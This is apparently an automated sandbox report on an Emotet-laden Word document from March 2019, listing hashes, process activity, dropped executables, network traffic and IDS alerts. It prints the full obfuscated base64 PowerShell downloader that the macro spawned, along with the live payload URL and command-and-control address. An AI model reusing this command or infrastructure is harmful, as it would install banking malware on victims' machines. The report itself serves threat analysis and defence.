download: | trust.myacc.docs.net |
Full analysis: | https://app.any.run/tasks/43e7ab74-849d-4426-a05c-4f691c1be3f9 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | March 14, 2019, 14:50:08 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Mar 14 06:50:00 2019, Last Saved Time/Date: Thu Mar 14 06:50:00 2019, Number of Pages: 1, Number of Words: 2, Number of Characters: 12, Security: 0 |
MD5: | 719F0D8E3B981D5330DDBDC56A1A7682 |
SHA1: | 191EFCF360ECB6FA499F038D9FBF64AFC788F446 |
SHA256: | A6310575FC2E5DD38F5BD09F3A48D0DD2A78EBBE8490FAEADFDA335B1AC29E69 |
SSDEEP: | 6144:J77HUUUUUUUUUUUUUUUUUUUT52V5VthAdIl8wxoDSJEqpyukOtHL3ag51:J77HUUUUUUUUUUUUUUUUUUUTCJhAOGux |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserType: | Microsoft Word 97-2003 Document |
---|---|
CompObjUserTypeLen: | 32 |
HeadingPairs: |
|
TitleOfParts: | - |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 16 |
CharCountWithSpaces: | 13 |
Paragraphs: | 1 |
Lines: | 1 |
Company: | - |
CodePage: | Windows Latin 1 (Western European) |
Security: | None |
Characters: | 12 |
Words: | 2 |
Pages: | 1 |
ModifyDate: | 2019:03:14 06:50:00 |
CreateDate: | 2019:03:14 06:50:00 |
TotalEditTime: | - |
Software: | Microsoft Office Word |
RevisionNumber: | 1 |
LastModifiedBy: | - |
Template: | Normal.dotm |
Comments: | - |
Keywords: | - |
Author: | - |
Subject: | - |
Title: | - |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2988 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\trust.myacc.docs.net.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3012 | powershell -e JgAoACAAJABFAG4AdgA6AEMATwBtAHMAcABFAEMAWwA0ACwAMgA2ACwAMgA1AF0ALQBqAG8AaQBuACcAJwApACgAbgBlAHcALQBPAEIASgBlAEMAdAAgAHMAeQBzAHQARQBNAC4AaQBvAC4AYwBvAG0AUABSAGUAUwBTAGkATwBuAC4ARABFAEYATABBAHQARQBzAHQAUgBlAGEAbQAoAFsAaQBvAC4AbQBlAE0AbwByAFkAcwB0AHIAZQBBAE0AXQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAFIATwBNAEIAYQBzAEUANgA0AHMAVAByAGkATgBnACgAKAAnAFYAWgBGACcAKwAnAGgAYQA5ACcAKwAnAHMAdwAnACsAJwBGACcAKwAnAEUAWAAvAGkAagAnACsAJwA4ACcAKwAnAFkAJwArACcAbABKACcAKwAnAEIAWgBxAGoATQBuAGIAVwAnACsAJwBvAE0AZgAnACsAJwBiACcAKwAnAFoAJwArACcAcAAnACsAJwBDAEcAeAAnACsAJwBqAHAAcQBnAHoAWQAnACsAJwBSACcAKwAnAEIAJwArACcAcwBXAFkAJwArACcAbAAnACsAJwBkAE8ANQBJAGIAeQAnACsAJwBYAFcAVABrACcAKwAnAFAAOAAnACsAJwArAFoAJwArACcAUwBUAHQAJwArACcAcABrADgAUwAnACsAJwBuACcAKwAnAEgAZgBmACcAKwAnADUAJwArACcAYwBnAE8AJwArACcARQAnACsAJwAxACcAKwAnAGoAUgBOAEkAMABEACcAKwAnADkAQwAnACsAJwAxAEoAVgAnACsAJwBqACcAKwAnAEMAbgB5AEwAZQAnACsAJwBmACcAKwAnAEkAWQBWAFEAJwArACcAeQBrAEQAdwAnACsAJwAzAHAASAA1AEMAMgBmACcAKwAnAGEAKwAnACsAJwBzAEUAMQAvACcAKwAnAHMAWAB6ACcAKwAnAHEAJwArACcASwBtADQAMAAnACsAJwBMADcAOQAnACsAJwBIAFoAWQAnACsAJwBRAG0AJwArACcANQBsAFMANgAvAGEAZQBFAEwARwBwAHEAMABLAFYAcwAnACsAJwBzAFYATQAnACsAJwBiACcAKwAnAGsAbgBmAE8AawB3ACcAKwAnAEsAYgBVAEQAeQByAEwAZAAzADUATwBGACcAKwAnAEMATQAnACsAJwBiAEgATwB0AGwAVwB6ADcAJwArACcAMwAnACsAJwBuAFcAJwArACcANgBQAEkAJwArACcAdgB5ACcAKwAnAHAAUQBpAGIAZgAnACsAJwBkAEIAdQBKAE0AJwArACcAWgBuAGsAJwArACcANgAnACsAJwB3ACcAKwAnAGQANAAnACsAJwB2AEgAcgAnACsAJwB2AHQAdgAnACsAJwBUACcAKwAnAHQAYwAyAE0AaQBzAFUAVQBWADAAcABQAHUAJwArACcAagAnACsAJwBpACcAKwAnAHMAQgBjAGMAQwAnACsAJwA2ADcAJwArACcASgAnACsAJwB5AHkARQByAGMANgBjAFYAQgB6AFoAVgBqAHQAJwArACcAdwBYACcAKwAnAFcAdQBXAHYAMwBTACcAKwAnAHMAWgBaADEATwBZACcAKwAnAGYAJwArACcASQBhADcAZAAnACsAJwAzAGoAcwBZAGYAJwArACcAZAAnACsAJwBtAGgAcwBkAGYAJwArACcAcAArAGYAJwArACcAMABTAHIAQwBtACcAKwAnAEsANwBnAGkAJwArACcAMwAnACsAJwBzAC8ATwAnACsAJwBJAHcAJwArACcAZwAnACsAJwAvACcAKwAnAHQAVQAyAGwAQgArACcAKwAnAGcAQgBEAFgAJwArACcAMgBiAHoAVAAwADMAJwArACcAWAAnACsAJwBOAEUAJwArACcAawBRAEEAJwArACcAcABpAGcARQBpAEMAJwArACcARQAnACsAJwBhAE4AaQBvAEEAbQAxAEEAZwAnACsAJwB2AE4AdgBGAHYAegBmAHUAegBaAEUAJwArACcAcAAnACsAJwBJACcAKwAnAGwARABkAEEAQgBrAGoAQwBGADEAUgBtAEsARwBYAGgAJwArACcASgBGAEEAJwArACcAWQAyAEYAMgAvADMAbgBlAEsAJwArACcANwBkAGkAJwArACcAZgAnACsAJwBYAFYAYwBOAEgAJwArACcANgBEAGMAYQBYAFMAJwArACcASgBHACcAKwAnAEMAUAAnACsAJwBOADMAJwArACcAagAnACsAJwB2ACcAKwAnAHkAMQAnACsAJwAzACcAKwAnAFAARwAnACsAJwBNAGwAUQBQADcAeQBTAGkAUAAnACsAJwB3AEsAJwArACcAcQBFACcAKwAnAGQAJwArACcAWABFADcAUABPAHIAZAAvAG4AagA5AEMAaAAnACsAJwB6AEwAWABwAHcAVgBQACcAKwAnAEoAcQAnACsAJwBnAEsALwAzACcAKwAnAEYAdQB1ACcAKwAnADQAeQAnACsAJwBmAGEAJwArACcAcwBVACcAKwAnAHEAJwArACcAQgBjAEcASwBIAE0AJwArACcAVABnACcAKwAnAE4AcgAwAFcASwAnACsAJwB5ACcAKwAnAHQAdwBXACcAKwAnAEQATwB0AGIAUABRAGYAUAAnACsAJwB0AEoANABvAGEATABqAFMANAAnACsAJwB0AFoAOAAnACsAJwBNAHQANwAnACsAJwA4AGEAYwBvAFgAVgBjAGkAJwArACcARABkAFoAOAAvACcAKwAnADkAQgAzADIANAAnACsAJwBqACcAKwAnAGsAJwArACcASABVAGMAQgBhAGgAaQBkAEUAbAAnACsAJwBEACcAKwAnADUATwBlAG0AYQArADIAZgBUAGkAegBUAHIAJwArACcARAB5AGUAVAB2AFkAJwArACcAYwBRAGcAJwArACcAQgBqAHEASQBOADMAYwA2AEYAbQAnACsAJwA2AFIAJwArACcAOAA9ACcAKQAgACkALAAgAFsASQBvAC4AQwBvAE0AUABSAGUAUwBTAGkATwBOAC4AYwBPAE0AUAByAGUAcwBzAGkATwBuAG0AbwBEAEUAXQA6ADoAZABlAEMAbwBtAHAAcgBlAFMAUwAgACkAfAAgAEYATwByAGUAYQBjAGgAIAB7AG4AZQB3AC0ATwBCAEoAZQBDAHQAIABzAHkAUwBUAEUAbQAuAEkATwAuAFMAVAByAGUAYQBNAHIAZQBhAEQAZQByACgAJABfACAALABbAFQARQB4AFQALgBFAG4AYwBvAEQAaQBOAEcAXQA6ADoAYQBzAEMASQBJACAAKQB9ACkALgBSAEUAYQBkAHQAbwBlAG4AZAAoACAAKQAgAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2572 | "C:\Users\admin\947.exe" | C:\Users\admin\947.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® HTML Help Executable Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3760 | "C:\Users\admin\947.exe" | C:\Users\admin\947.exe | 947.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® HTML Help Executable Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3252 | "C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe" | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | 947.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® HTML Help Executable Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
1832 | "C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe" | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | wabmetagen.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® HTML Help Executable Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2988 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR8C19.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3012 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N9F6QETCTMO7DQLYU4XJ.temp | — | |
MD5:— | SHA256:— | |||
3012 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:901ECDF767744E6BB59CB023757886E3 | SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1 | |||
3012 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1998bc.TMP | binary | |
MD5:901ECDF767744E6BB59CB023757886E3 | SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1 | |||
3760 | 947.exe | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | executable | |
MD5:345554FA326368AB09A9B76A35F0E5C0 | SHA256:EF0BED98D6F616AFF66F9057A7539FCD9A610E9B84AC0F2DDD583E3EE77E2939 | |||
2988 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$ust.myacc.docs.net.doc | pgc | |
MD5:3FEA00A494D2AA169D20FCC3CF7A3B80 | SHA256:3F4BE374BDD2DF7475F28F01EDDFEBBF440817A1BA2C4437113AB5D6885CD09C | |||
2988 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:5A1AC50DEFFE3ADEEC3C1C6B7CE515EE | SHA256:A05624EE45E532E271EC27383128A22E6F3E19C02D9EF83102D437F8C9A16589 | |||
3012 | powershell.exe | C:\Users\admin\947.exe | executable | |
MD5:345554FA326368AB09A9B76A35F0E5C0 | SHA256:EF0BED98D6F616AFF66F9057A7539FCD9A610E9B84AC0F2DDD583E3EE77E2939 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3012 | powershell.exe | GET | 200 | 103.57.209.252:80 | http://ngkidshop.com/wp-content/Vtm8/ | VN | executable | 182 Kb | malicious |
1832 | wabmetagen.exe | GET | 200 | 82.78.228.57:443 | http://82.78.228.57:443/ | RO | binary | 132 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
1832 | wabmetagen.exe | 82.78.228.57:443 | — | RCS & RDS | RO | malicious |
3012 | powershell.exe | 103.57.209.252:80 | ngkidshop.com | — | VN | suspicious |
Domain | IP | Reputation |
---|---|---|
ngkidshop.com |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
3012 | powershell.exe | Misc Attack | ET COMPROMISED Known Compromised or Hostile Host Traffic group 1 |
1832 | wabmetagen.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |